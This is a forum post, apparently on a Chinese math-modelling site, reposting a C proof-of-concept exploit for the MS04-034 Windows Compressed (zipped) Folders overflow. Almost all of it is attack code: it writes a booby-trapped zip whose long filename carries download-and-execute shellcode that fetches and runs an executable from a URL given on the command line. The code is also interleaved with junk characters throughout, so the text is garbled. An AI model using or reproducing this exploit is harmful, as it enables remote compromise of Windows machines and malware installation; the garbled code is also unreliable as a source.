QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2592|回复: 0
打印 上一主题 下一主题

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 10:51 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)6 t- \# ?* }5 E9 Z, T: h * 9 N3 b9 W4 W/ u* Tested under Windows XP SP0 Spanish/English 4 X G7 l% t6 |4 l*' O8 T6 D Z" V3 i) j6 T) e. @ * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html ! Q7 Y1 {( `9 r0 r! \% Z* Exploit Date: 21/10/20040 U3 D% i5 T+ f% _0 b; ~, j * , B2 `( e' U0 F! B8 R4 U* Tarako - Haxorcitos.com 20044 I u: h i6 i) }6 \+ Q" |" _ *$ m/ H2 j! g! G6 \5 W& u- O- K a4 q * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"; c, y: H4 Q3 Z1 L * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 5 K+ B$ [3 n; U/ q9 k& v; q* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.+ d& I: K; @1 E! n *: w+ ?! b6 r b7 e, Q7 G2 e * Greetings t #haxorcitos, #dsr and #localhost @efnet u- s5 l1 h. o0 w* X *! T* i5 ~$ P# ~8 q$ y8 q *4 _- r1 A* d ]& w4 j. o f * How to get new offsets:2 s" ~: k; ] N2 c, ^0 k * 1) attach debugger (i.e ollydbg) to explorer.exe7 W- m1 M* X6 [7 Q * 2) open the zip file as a folder and add or move some files to it ' @; c/ `4 c$ K" y0 N* 3) search in the explorer.exe memory the shellcode and get the addresses7 @/ ^/ o& Y, e; @* J *, O1 V+ t) v7 w5 U */ % z/ `0 F4 W% i, g( `+ P. \3 k- `( B. W( u: ?, a1 H( D! {+ f #include <stdio.h>. T" o2 R; O- ^, w' g #include <windows.h>$ r V8 t# K. Z7 O: D. G & {% i" G+ u' m2 F8 ]1 X; j3 B Z#pragma pack(1)% X; M9 ]3 w1 b' @: @3 }+ ^8 a 4 d# h/ [, V4 C2 i #define DATOS "Tarako-Haxorcitos.com" ' v2 \2 E; R1 }7 k) ? ! D3 i, T# E; \, ]typedef struct { + m9 F# U; U0 v; j4 g- d5 pDWORD Signature; // PK.. 4 bytes (0x04034B50)" ~- E& `3 Q: J W9 C% |/ h+ C WORD VersionNeeded;- k- l8 `( n" @) o0 R* A: K- J WORD GeneralPurposeFlag; // para el data descriptor y demas! t2 L7 O- [. M WORD CompressionMethod; , P t9 X* U( e- m6 [WORD ModFileTime;3 Z2 m2 K5 C$ m WORD ModFileDate; 1 a; T6 k: ~* S% h$ ?: s0 e% o5 ?DWORD Crc32; , O! x7 Q' a4 @; ?5 I, S2 x. P% p7 IDWORD CompressedSize; - b( n2 A7 D0 F5 S) j3 P UDWORD UncompressedSize;" h% L8 M5 r% z1 u WORD FilenameLength; 9 d+ O4 E2 X. G: F" xWORD ExtraFieldLength;% P% @) Q! D' ] // filename (variable size) , ?4 x& _* u- z$ v// extra field (variable size)/ ^! S9 R$ J8 A+ N }TOPHEADER; ' x( l% a: B1 A3 [ ! z$ s; t: s: Q# Q* J9 w' Q( Z 4 E9 g! R) ?1 |/ d/ otypedef struct { 4 T7 a. B) V" g$ B- [ DWORD Signature; // PK.. 4 bytes (0x02014B50) % F4 A% p' y7 w; T0 A* GWORD MadeVersion;5 o0 ^/ e5 _9 S* \; {8 E8 d d WORD VersionNeeded; & \! E. | h3 Q8 VWORD GeneralPurposeFlag; // para el data descriptor y demas$ r. \" n, K" D& m1 M! o WORD CompressionMethod; - Q3 p4 S: l/ Y7 ~' A l5 q( zWORD ModFileTime; - _+ Q. A0 Z7 sWORD ModFileDate;# l& c, r& m* U4 z; }8 V* e0 T+ c DWORD Crc32; 8 o- C! M$ G' {9 c5 qDWORD CompressedSize;1 Z& N* }* Z k7 ^) H$ j DWORD UncompressedSize; . v( P% w* e1 B6 Z- ~" o6 mWORD FilenameLength;/ }$ Y7 n5 w4 ^0 p" G7 d WORD ExtraFieldLength; ! Q# _6 K' r# u4 [7 W/ \2 T6 T$ NWORD FileCommentLength; 4 P$ d2 r' ]5 lWORD DiskNumberStart; G$ v5 P9 j2 Z: m WORD InternalFileAttributes;) C; Z7 w; E) f. X/ b DWORD ExternalFileAttributes; . H" v( m# j4 e& j* j6 XDWORD RelativeOffsetOfLocalHeader;; S$ n* r: J! R7 i& K // filename (variable size) c( G4 _2 {' E) v // extra field (variable size)7 L4 L0 F% g r4 h f // file comment (variable size) ( S, m( l4 m' Y- M9 D3 a}MIDDLEHEADER;0 n4 O. O1 f5 Z" d& D' h* F+ | 5 |4 X1 E" B+ L+ g; k$ i typedef struct { 4 Y* N6 k4 Z; A! RDWORD Signature; // PK.. 4 bytes (0x06054B50)$ ^" e- t4 E* k& s WORD NumOfThisDisk; ; b6 ] ?; b# \5 b3 m& P; sWORD NumDisckStartCentralDirectory;; Z' Y# r' m. Q9 D. B1 d8 d WORD NumEntriesCentralDirOnThisDisk; % b) j: I$ r9 c4 u/ \; q" s# s2 s @WORD TotalNumEntriesCentralDir; : ^& Q3 \2 {, c$ r. K6 F% x4 ~DWORD SizeCentralDirectory; 8 M5 J9 B9 W( l3 l8 lDWORD OffsetCentraDirRespectStartDiskNum; 1 o: p' ^) h+ _3 G* W6 ]# pWORD ZipCommentLength; $ A9 l* A! x. p; n: y1 ?7 v// zipfile comment (variable size) / u+ A+ b& o" r- w V; g; l; Y Z}BOTTOMHEADER;2 }2 X! Q& e: K$ j$ `1 O$ T1 L f % x+ Q9 ]8 w; Q' N( x. B/* - r5 ~* D0 `- `6 Q* download shellcode - RaiSe - raise@netsearch-ezine.com8 y. |2 V0 }- D */ * z9 }5 ]' U* d& F* i: jchar shellcode1[] = / S: K# O% s$ D* f4 m6 O7 y( m"\xEB\x5D\x5F\x8B\xF7\x80\x3F"7 M* [- A% ~% |2 \8 |& E% U- p; ^3 y "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" : X+ @' O) \: W% I! z7 @" E"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08") Y( r7 i8 y0 `. z "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" ' J, U0 a% \- Q9 F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"9 `0 H* ?& v8 e "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"$ D( b2 Q1 z- d0 k9 C" T+ V "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"8 Z+ C# e4 l" x; ] "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B", ^4 F- ?' I: a. P: R/ [ "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"/ G; G- y' P/ U3 f9 h6 i "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" 0 Y, v7 a* e; R5 `"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"1 z- W4 C1 g& F! u9 R0 n "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"' T/ J; a0 m, z ?+ V4 d) C0 ` "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"7 V: F7 n9 e! p% [3 [ v6 r* _ "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" # {( @" `5 Z! x8 W8 |+ A"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ! i4 h0 i1 F+ ~$ _& C2 q( r"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"$ _- f5 c p' E( ^ "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"1 Y* b1 y! J9 Y7 Q1 e9 @ "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"* A. N$ L8 d7 ?1 i" Z: h w/ g) x "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"6 C3 @) D2 h0 h. ~) U2 W$ y9 Q "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" $ ^* g$ p8 n2 k; q H3 N- g"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"5 u0 Z3 ]# N# {4 h" l3 T. ` D "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"* J# C% C9 H- t" N "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"" C0 P/ _) J& W( K' a) J* o: p "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"' ^3 q9 H/ L5 |' D) R "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 3 L. j+ t( P/ R+ I& W"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 6 @ ]+ Z# x- m* D1 G"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"9 S3 V# h' L" d1 J. M; J# _; E& q "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"% u1 }* r% f5 m$ O8 Z "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"8 x0 E$ J+ h* A' J4 S "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" ( Y0 A; F3 c! n2 z, \) w5 ~) i"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"$ u; M% q5 S1 G" u% i "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ( {6 W0 l {' P+ G! c+ X" R"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"* V, [+ R& G4 F- g; S$ e "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"" i0 M) H: L3 i# R' r. c "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; & }0 z3 E) Y, J; N, j3 u schar shellcode2[] ="\x08\x01";5 e3 z0 o3 H) e$ ~4 D; F4 I0 q : f4 h2 r: D5 j9 m, G1 W" uchar offset[]="\x41\x41\x41\x41";1 @4 j' _8 D6 Y& y8 J: \ char jmpbelow[]= "\xeb\x06\x90\x90";7 Y; d7 C5 a7 a6 y0 @+ b / Y8 l/ d5 b' G2 z2 I int main(int argc,char *argv[]) { 7 I* C! \3 z, G0 I' _' i0 J9 G; Q$ }. W# _$ Q FILE *ZipFile;8 h4 Z/ {6 v \# P! ]) i TOPHEADER *Cabecera1;+ }3 w, X' r" R5 Q% w# c MIDDLEHEADER *Cabecera2; 6 A/ N* C. U# r2 M$ ]) i7 T1 J* |4 QBOTTOMHEADER *Cabecera3;% @* H8 p" u: |7 h8 l6 ~# {# Q $ e3 R& Z; ^; a8 G9 ?( V( I: Y3 f DWORD c; 9 Z6 I$ u# m( n6 V# NUINT i; ( I! y$ W: `0 s. o. zchar *filename; 7 p# o0 _% ]$ Ochar *url; 3 i! M( d2 q0 S! c6 S c" w! I* X" _( d/ H# ~; F printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");7 |# u% ]; k8 z7 q7 Z printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");, @9 ^: N! h+ _( {% R$ o 1 z: G& u) {2 W. P' L, U* A! v if (argc!=2) { 8 m D6 [2 J. x D4 _' _' O7 _printf("\n\n Usage: %s <URL> \n",argv[0]);# U' L. ?1 A. a M) } exit(1); 9 B, p" A: A* J& q: \ i}: E9 }' y1 v8 @ 6 Q" O( H# U; x& Q$ @ url=argv[1];5 p3 s* J% T+ o. R1 K* |) j printf("\n * URL: %s",url);8 H( {3 P$ Y9 F( F/ d- f0 _3 U! f % Y; K1 n! t+ Q ; H/ P: M8 v' x i- ~if (!(ZipFile=fopen("prueba.zip","w+b"))) { 8 a7 |; @8 }7 p3 C$ o" uprintf("\n [E] fopen()");: l; Z2 _* D$ j: C4 V exit(1);& u* F3 n( f5 `: N) a- S# `3 k/ p }; |+ I1 y! h4 a8 U $ c5 P' f. y7 nc=0x8000; // filename length / i4 p- `8 Y% yfilename=(char*)malloc(sizeof(char)*c); 2 o6 E/ m: n. C$ r4 F; Lmemset(filename,0,sizeof(filename)); . r7 B7 g1 {9 q: q7 m X& s+ \& w# x+ a; ~+ v' `, V for( i=0x0;i<c;i++) filename=(BYTE)0x90; 5 M: z- t( E& G3 ?& w9 {5 A; P" y- L( a memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 5 _' ^. c0 W4 A/ r* \memcpy(filename+0x1818,offset,strlen(offset));2 J5 Z: m7 \0 S$ s 2 j W+ B k+ g$ i) v- X d memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); % x+ m& {- k0 y% ~# dmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));' i0 Q' ^; ?7 f0 o- X memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);: r" R; v7 u9 ^ + {. q3 V/ Z' ~8 n: O0 Ymemcpy(filename+(c-4),".txt",4); 0 l6 u3 M. @; r) H7 G; `. W+ e6 W7 l3 w Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); ( v. ^0 A; w0 P: g- Y3 f9 @ rCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));# ]5 p# B7 F$ G/ r" A8 \1 `( V Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));0 ]6 f- \3 c- {$ L X memset(Cabecera1,0,sizeof(TOPHEADER));8 ?6 F. a4 f7 M6 P, u1 {/ k memset(Cabecera2,0,sizeof(MIDDLEHEADER));; y. Q9 z- {7 q memset(Cabecera3,0,sizeof(BOTTOMHEADER)); x7 d: f, p O7 T' A$ q# _6 o 9 }$ O( w/ z! l; t5 J/////////////////////////////////////////////////////////////////// & _$ N A4 o( P1 b4 O// TOPHEADER * i/ h% ]3 \: k, m3 \/////////////////////////////////////////////////////////////////// * s8 [' N2 }) t1 B. b3 U9 t/ `/ eCabecera1->Signature=0x04034B50; // DWORD* i6 Z8 t4 E- j% H# h& J3 ` Cabecera1->VersionNeeded=0x000A; // WORD0 A- c3 ^8 O* p; u2 o Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas ( e+ ]. \% { z7 `& c) dCabecera1->CompressionMethod=0x0000; // WORD6 ?+ v. |: a# w- ~ Cabecera1->ModFileTime=0x1362; // WORD . I4 Y' y/ v [: Y- @+ J1 z0 _Cabecera1->ModFileDate=0x3154; // WORD * i* P9 F% E- g0 y" `# R* JCabecera1->Crc32=0x85B36639; // DWORD+ G' P, F1 Z1 P Cabecera1->CompressedSize=0x00000015; // DWORD- i7 _/ f4 W# C Cabecera1->UncompressedSize=0x00000015; // DWORD 3 b' P, f1 Q( [0 H* s* B6 `& mCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ! d5 o7 C8 }& K1 uCabecera1->ExtraFieldLength=0x0000; // WORD " s7 t% K* l3 X& G" C/////////////////////////////////////////////////////////////////// , E! T; j% a4 Y6 F3 a/ ] L , t* \) f& b6 S/ U$ R+ v& N! |8 P///////////////////////////////////////////////////////////////////7 e9 D1 w# k6 [" h" K& \ // MIDDLEHEADER ! Z! E8 D4 Z, Q0 @' f, g4 {# q///////////////////////////////////////////////////////////////////) v8 r5 u. A8 c1 F Cabecera2->Signature=0x02014B50; // DWORD & n; K3 m& _' L3 s. w2 vCabecera2->MadeVersion=0x0014; // WORD' y- z% a, v B3 z8 ?+ ^ Cabecera2->VersionNeeded=0x000A; // WORD 2 e- G( V$ C" ~" X1 B4 @ rCabecera2->GeneralPurposeFlag=0x0002; // WORD ; |& e: I- [5 eCabecera2->CompressionMethod=0x0000; // WORD , A4 u4 R2 s/ F4 b4 }7 gCabecera2->ModFileTime=0x1362; // WORD+ z4 y6 A( k2 e' S" [ a k Cabecera2->ModFileDate=0x3154; // WORD! r1 k0 f( y# M O3 p4 z Cabecera2->Crc32=0x85B36639; // DWORD % }1 R! u+ N! b1 y5 S% qCabecera2->CompressedSize=0x00000015; // DWORD 8 h& v2 d; Z/ U" J$ l% J" y; mCabecera2->UncompressedSize=0x00000015; // DWORD" D2 E( y0 g4 Y [, U6 l. _) x Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); / h1 w5 I9 e8 m4 x/ L$ VCabecera2->ExtraFieldLength=0x0000; // WORD , F* f6 V8 X6 c6 ^+ U& j3 vCabecera2->FileCommentLength=0x0000; // WORD ' b1 k! h9 k- `8 o8 y- UCabecera2->DiskNumberStart=0x0000; // WORD/ \: M) r! `& x* E* e g L Cabecera2->InternalFileAttributes=0x0001; // WORD2 ?4 i- G3 j, A6 A. u( J; d5 A8 t Cabecera2->ExternalFileAttributes=0x00000020; // DWORD , j" _ Q1 i b6 h' l6 {0 |6 LCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD ! f9 O6 M# d# h* X( q$ I///////////////////////////////////////////////////////////////////4 N) B% A+ f3 I( h: O5 S: q0 T " a B( w. P7 R: ?" |9 Y /////////////////////////////////////////////////////////////////// ! ^8 j0 M! G6 t// BOTTOMHEADER2 t) y4 }) }1 n. b /////////////////////////////////////////////////////////////////// ; I. l* o$ d2 u2 i0 kCabecera3->Signature=0x06054B50; // DWORD$ V7 Z/ D* I6 C7 K+ d Cabecera3->NumOfThisDisk=0x0000; // WORD * g4 U7 C6 _8 d3 Z' iCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 8 U# L1 [1 w( x5 T# v+ BCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD0 e& D @3 o& N Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 0 T9 I' C9 ?" P2 [2 gCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD ( X: T+ |6 c) @Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD ) n3 h u% E q' d7 fCabecera3->ZipCommentLength=0x0000; // WORD2 d: t- ^9 ^2 Z, ^; c5 d) x1 D8 T /////////////////////////////////////////////////////////////////// 1 l+ U0 R/ L2 M 1 Z& @( O2 E/ efwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); $ m5 e& T$ {* h( T$ F- L' H8 a, K" d, K fwrite(filename, c, 1,ZipFile); ; G2 W& i M! h( h2 o/ o: X4 J4 nfwrite(DATOS,strlen(DATOS),1,ZipFile);+ k8 h- d& B7 y( b3 C; Y6 r/ s) Q i$ D# ?8 g- I W fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);9 _, \& k) d4 ^7 v4 P u% Z/ m fwrite(filename, c, 1,ZipFile); 7 B5 W x& I: L fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); % `/ @% h. @; p* Q( x # K" m# m4 Z/ Sfclose(ZipFile);" i' P* A& j" y) _- J; x( w* E7 I3 a/ q) t! P printf("\n * prueba.zip created\n"); 0 P$ N- X- _: g& `5 t* nreturn 1;( c5 D, v2 ^, h2 q8 e$ K- k }//downloaded from milw0rm.com ) C1 R; c2 C. V9 w

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-25 00:52 , Processed in 0.933440 second(s), 51 queries .

回顶部